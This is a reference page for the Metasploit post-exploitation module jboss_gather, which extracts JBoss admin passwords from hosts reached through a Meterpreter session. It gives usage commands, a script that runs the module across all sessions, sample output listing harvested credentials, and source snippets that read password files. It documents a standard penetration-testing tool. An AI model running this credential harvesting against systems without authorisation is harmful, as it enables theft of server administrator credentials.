Jboss Credential Collector - Metasploit
This page contains detailed information about how to use the post/multi/gather/jboss_gather metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Jboss Credential Collector
Module: post/multi/gather/jboss_gather
Source code: modules/post/multi/gather/jboss_gather.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): Linux, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module can be used to extract the Jboss admin passwords for version 4,5 and 6.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/multi/gather/jboss_gather
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/multi/gather/jboss_gather
msf post(jboss_gather) > show options
... show and set options ...
msf post(jboss_gather) > set SESSION session-id
msf post(jboss_gather) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/multi/gather/jboss_gather")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Creating A Testing Environment
For this module to work you need a linux or windows machine. For linux and windows you can download jboss from here the following location: http://jbossas.jboss.org/downloads
This module has been tested against:
- Xubuntu 16.04 with jboss 4.23,5.0,5.1 and 6.1.
- Windows 10 with jboss 4.23,5.0,5.1 and 6.1.
This module was not tested against, but may work against:
- Other versions of linux running jboss
- Other version of windows running jboss
Verification Steps
- Start msfconsole
- Obtain a meterpreter session via whatever method
- Do: 'use post/multi/gather/jboss_gather'
- Do: 'set session #'
- Do: 'run'
Scenarios
Xubuntu 16.04 with jboss 4.23 and 5.1
Running with read permissions
msf post(jboss_gather) > use post/multi/gather/jboss_gather
msf post(jboss_gather) > run
[*] [2017.03.31-15:12:34] Unix OS detected, attempting to locate Jboss services
[*] [2017.03.31-15:12:35] Found a Jboss installation version: 4
[*] [2017.03.31-15:12:36] Attempting to extract Jboss service ports from: /home/reaper/jboss-4.2.3.GA/server/all/deploy/jboss-web.deployer/server.xml
[*] [2017.03.31-15:12:36] Attempting to extract Jboss service ports from: /home/reaper/jboss-4.2.3.GA/server/default/deploy/jboss-web.deployer/server.xml
[+] [2017.03.31-15:12:36] Credentials found - Username: admin Password: admin
[+] [2017.03.31-15:12:37] Credentials found - Username: admin Password: admin
[*] [2017.03.31-15:12:38] Found a Jboss installation version: 5
[*] [2017.03.31-15:12:39] Attempting to extract Jboss service ports from: /home/reaper/jboss-5.1.0.GA/server/all/conf/bindingservice.beans/META-INF/bindings-jboss-beans.xml
[*] [2017.03.31-15:12:39] Attempting to extract Jboss service ports from: /home/reaper/jboss-5.1.0.GA/server/default/conf/bindingservice.beans/META-INF/bindings-jboss-beans.xml
[*] [2017.03.31-15:12:40] Attempting to extract Jboss service ports from: /home/reaper/jboss-5.1.0.GA/server/minimal/conf/bindingservice.beans/META-INF/bindings-jboss-beans.xml
[*] [2017.03.31-15:12:40] Attempting to extract Jboss service ports from: /home/reaper/jboss-5.1.0.GA/server/standard/conf/bindingservice.beans/META-INF/bindings-jboss-beans.xml
[*] [2017.03.31-15:12:40] Attempting to extract Jboss service ports from: /home/reaper/jboss-5.1.0.GA/server/web/conf/bindingservice.beans/META-INF/bindings-jboss-beans.xml
[+] [2017.03.31-15:12:41] Credentials found - Username: admin Password: admin
[+] [2017.03.31-15:12:41] Credentials found - Username: admin Password: admin
[+] [2017.03.31-15:12:41] Credentials found - Username: admin Password: admin
[+] [2017.03.31-15:12:41] Credentials found - Username: admin Password: admin
[*] Post module execution completed
Windows 10 with jboss 5.0 and 6.1
Running with low permissions
msf post(jboss_gather) > run
[*] [2017.03.31-15:13:43] Windows OS detected, enumerating services
[*] [2017.03.31-15:13:43] No Jboss service has been found
[*] Post module execution completed
Running with correct permissions
msf post(jboss_gather) > use post/multi/gather/jboss_gather
msf post(jboss_gather) > run
[*] [2017.03.31-15:44:37] Windows OS detected, enumerating services
[*] [2017.03.31-15:44:39] Jboss service found
[*] [2017.03.31-15:44:39] Jboss service found
[*] [2017.03.31-15:44:39] Found a Jboss installation version: 5
[*] [2017.03.31-15:44:41] Attempting to extract Jboss service ports from: C:\Users\Reaper\Desktop\jboss-5.1.0.GA\jboss-5.1.0.GA\server\all\conf\bindingservice.beans\META-INF\bindings-jboss-beans.xml
[*] [2017.03.31-15:44:41] Attempting to extract Jboss service ports from: C:\Users\Reaper\Desktop\jboss-5.1.0.GA\jboss-5.1.0.GA\server\default\conf\bindingservice.beans\META-INF\bindings-jboss-beans.xml
[*] [2017.03.31-15:44:42] Attempting to extract Jboss service ports from: C:\Users\Reaper\Desktop\jboss-5.1.0.GA\jboss-5.1.0.GA\server\minimal\conf\bindingservice.beans\META-INF\bindings-jboss-beans.xml
[*] [2017.03.31-15:44:42] Attempting to extract Jboss service ports from: C:\Users\Reaper\Desktop\jboss-5.1.0.GA\jboss-5.1.0.GA\server\standard\conf\bindingservice.beans\META-INF\bindings-jboss-beans.xml
[*] [2017.03.31-15:44:43] Attempting to extract Jboss service ports from: C:\Users\Reaper\Desktop\jboss-5.1.0.GA\jboss-5.1.0.GA\server\web\conf\bindingservice.beans\META-INF\bindings-jboss-beans.xml
[+] [2017.03.31-15:44:43] Credentials found - Username: admin Password: admin
[+] [2017.03.31-15:44:44] Credentials found - Username: admin Password: admin
[+] [2017.03.31-15:44:44] Credentials found - Username: admin Password: admin
[+] [2017.03.31-15:44:44] Credentials found - Username: admin Password: admin
[*] [2017.03.31-15:44:45] Found a Jboss installation version: 6
[*] [2017.03.31-15:44:46] Attempting to extract Jboss service ports from: C:\Users\Reaper\Desktop\jboss-6.1.0.Final\server\all\conf\bindingservice.beans\META-INF\bindings-jboss-beans.xml
[*] [2017.03.31-15:44:47] Attempting to extract Jboss service ports from: C:\Users\Reaper\Desktop\jboss-6.1.0.Final\server\default\conf\bindingservice.beans\META-INF\bindings-jboss-beans.xml
[*] [2017.03.31-15:44:48] Attempting to extract Jboss service ports from: C:\Users\Reaper\Desktop\jboss-6.1.0.Final\server\jbossweb-standalone\conf\bindingservice.beans\META-INF\bindings-jboss-beans.xml
[*] [2017.03.31-15:44:48] Attempting to extract Jboss service ports from: C:\Users\Reaper\Desktop\jboss-6.1.0.Final\server\minimal\conf\bindingservice.beans\META-INF\bindings-jboss-beans.xml
[*] [2017.03.31-15:44:49] Attempting to extract Jboss service ports from: C:\Users\Reaper\Desktop\jboss-6.1.0.Final\server\standard\conf\bindingservice.beans\META-INF\bindings-jboss-beans.xml
[+] [2017.03.31-15:44:49] Credentials found - Username: admin Password: admin
[+] [2017.03.31-15:44:49] Credentials found - Username: admin Password: admin
[+] [2017.03.31-15:44:50] Credentials found - Username: admin Password: admin
[+] [2017.03.31-15:44:50] Credentials found - Username: admin Password: admin
[*] Post module execution completed
Go back to menu.
Msfconsole Usage
Here is how the multi/gather/jboss_gather post exploitation module looks in the msfconsole:
msf6 > use post/multi/gather/jboss_gather
msf6 post(multi/gather/jboss_gather) > show info
Name: Jboss Credential Collector
Module: post/multi/gather/jboss_gather
Platform: Linux, Windows
Arch:
Rank: Normal
Provided by:
Koen Riepe (koen.riepe <Koen Riepe ([email protected])>
Compatible session types:
Meterpreter
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Description:
This module can be used to extract the Jboss admin passwords for
version 4,5 and 6.
Module Options
This is a complete list of options available in the multi/gather/jboss_gather post exploitation module:
msf6 post(multi/gather/jboss_gather) > show options
Module options (post/multi/gather/jboss_gather):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the multi/gather/jboss_gather post exploitation module:
msf6 post(multi/gather/jboss_gather) > show advanced
Module advanced options (post/multi/gather/jboss_gather):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the multi/gather/jboss_gather module can do:
msf6 post(multi/gather/jboss_gather) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the multi/gather/jboss_gather post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(multi/gather/jboss_gather) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Failed to detect port, defaulting to 8080 for creds database
- Cannot open <PWFILE>, you probably do not have permissions to open the file.
- Cannot open <ARRAY:I>, you probably do not have permissions to open the file.
- Cannot open <FILE1>, you probably do not have permissions to open the file.
- Cannot open <FILE2>, you probably do not have permissions to open the file.
- No Jboss service has been found
- sysinfo function not available, you are probably using a wrong meterpreter.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed to detect port, defaulting to 8080 for creds database
Here is a relevant code snippet related to the "Failed to detect port, defaulting to 8080 for creds database" error message:
38: }
39:
40: credential_core = create_credential(credential_data)
41:
42: if not port.is_a? Integer
43: print_error('Failed to detect port, defaulting to 8080 for creds database')
44: port = 8080
45: end
46:
47: login_data = {
48: core: credential_core,
Cannot open <PWFILE>, you probably do not have permissions to open the file.
Here is a relevant code snippet related to the "Cannot open <PWFILE>, you probably do not have permissions to open the file." error message:
61: file.each do |pwfile|
62: begin
63: print_status("Getting passwords from: #{pwfile}")
64: lines = read_file(pwfile).split("\n")
65: rescue
66: print_error("Cannot open #{pwfile}, you probably do not have permissions to open the file.")
67: next
68: end
69: for line in lines
70: if not line.include? "#"
71: creds = line.split("=")
Cannot open <ARRAY:I>, you probably do not have permissions to open the file.
Here is a relevant code snippet related to the "Cannot open <ARRAY:I>, you probably do not have permissions to open the file." error message:
85: downcase = array[i].downcase
86: if downcase.include? "jboss"
87: begin
88: file = read_file(array[i])
89: rescue
90: print_error("Cannot open #{array[i]}, you probably do not have permissions to open the file.")
91: next
92: end
93: xml_doc = Nokogiri::XML(file)
94: xml_doc.xpath("//jar-versions//jar").each do |node|
95: if node["name"] == "jbossweb.jar"
Cannot open <FILE1>, you probably do not have permissions to open the file.
Here is a relevant code snippet related to the "Cannot open <FILE1>, you probably do not have permissions to open the file." error message:
164: if file1 and file1.include? version
165: print_status("Attempting to extract Jboss service ports from: #{file1}")
166: begin
167: file1_read = read_file(file1).split("\n")
168: rescue
169: print_error("Cannot open #{file1}, you probably do not have permissions to open the file.")
170: next
171: end
172: parse = false
173: portfound = false
174: file1_read.each do |line|
Cannot open <FILE2>, you probably do not have permissions to open the file.
Here is a relevant code snippet related to the "Cannot open <FILE2>, you probably do not have permissions to open the file." error message:
190: if file2 and file2.include? version
191: print_status("Attempting to extract Jboss service ports from: #{file2}")
192: begin
193: xml2 = Nokogiri::XML(read_file(file2))
194: rescue
195: print_error("Cannot open #{file2}, you probably do not have permissions to open the file.")
196: next
197: end
198: xml2.xpath("//Server//Connector").each do |connector|
199: if connector['protocol'].include? "HTTP"
200: portnr = connector['port'].to_i
No Jboss service has been found
Here is a relevant code snippet related to the "No Jboss service has been found" error message:
314: version_file = []
315: version_file.push("#{home}\\jar-versions.xml")
316: version = wingetversion(version_file, home)
317: end
318: else
319: print_status('No Jboss service has been found')
320: end
321: end
322:
323: def run
324: begin
sysinfo function not available, you are probably using a wrong meterpreter.
Here is a relevant code snippet related to the "sysinfo function not available, you are probably using a wrong meterpreter." error message:
324: begin
325: if sysinfo['OS'].include? "Windows"
326: gatherwin
327: else
328: gathernix
329: end
330: rescue
331: print_error('sysinfo function not available, you are probably using a wrong meterpreter.')
332: end
333: end
334: end
Go back to menu.
Related Pull Requests
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8009 Merged Pull Request: Added jboss_gather module.
Go back to menu.
See Also
Check also the following modules related to this module:
- post/multi/gather/apple_ios_backup
- post/multi/gather/aws_ec2_instance_metadata
- post/multi/gather/aws_keys
- post/multi/gather/check_malware
- post/multi/gather/chrome_cookies
- post/multi/gather/dbvis_enum
- post/multi/gather/dns_bruteforce
- post/multi/gather/dns_reverse_lookup
- post/multi/gather/dns_srv_lookup
- post/multi/gather/docker_creds
- post/multi/gather/enum_hexchat
- post/multi/gather/enum_software_versions
- post/multi/gather/enum_vbox
- post/multi/gather/env
- post/multi/gather/fetchmailrc_creds
- post/multi/gather/filezilla_client_cred
- post/multi/gather/find_vmx
- post/multi/gather/firefox_creds
- post/multi/gather/gpg_creds
- post/multi/gather/grub_creds
- post/multi/gather/irssi_creds
- post/multi/gather/jenkins_gather
- post/multi/gather/lastpass_creds
- post/multi/gather/maven_creds
- post/multi/gather/multi_command
- post/multi/gather/netrc_creds
- post/multi/gather/pgpass_creds
- post/multi/gather/pidgin_cred
- post/multi/gather/ping_sweep
- post/multi/gather/remmina_creds
- post/multi/gather/resolve_hosts
- post/multi/gather/rsyncd_creds
- post/multi/gather/rubygems_api_key
- post/multi/gather/run_console_rc_file
- post/multi/gather/saltstack_salt
- post/multi/gather/skype_enum
- post/multi/gather/ssh_creds
- post/multi/gather/thunderbird_creds
- post/multi/gather/tomcat_gather
- post/multi/gather/ubiquiti_unifi_backup
- post/multi/gather/unix_cached_ad_hashes
- post/multi/gather/unix_kerberos_tickets
- post/multi/gather/wlan_geolocate
Authors
- Koen Riepe ([email protected])
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
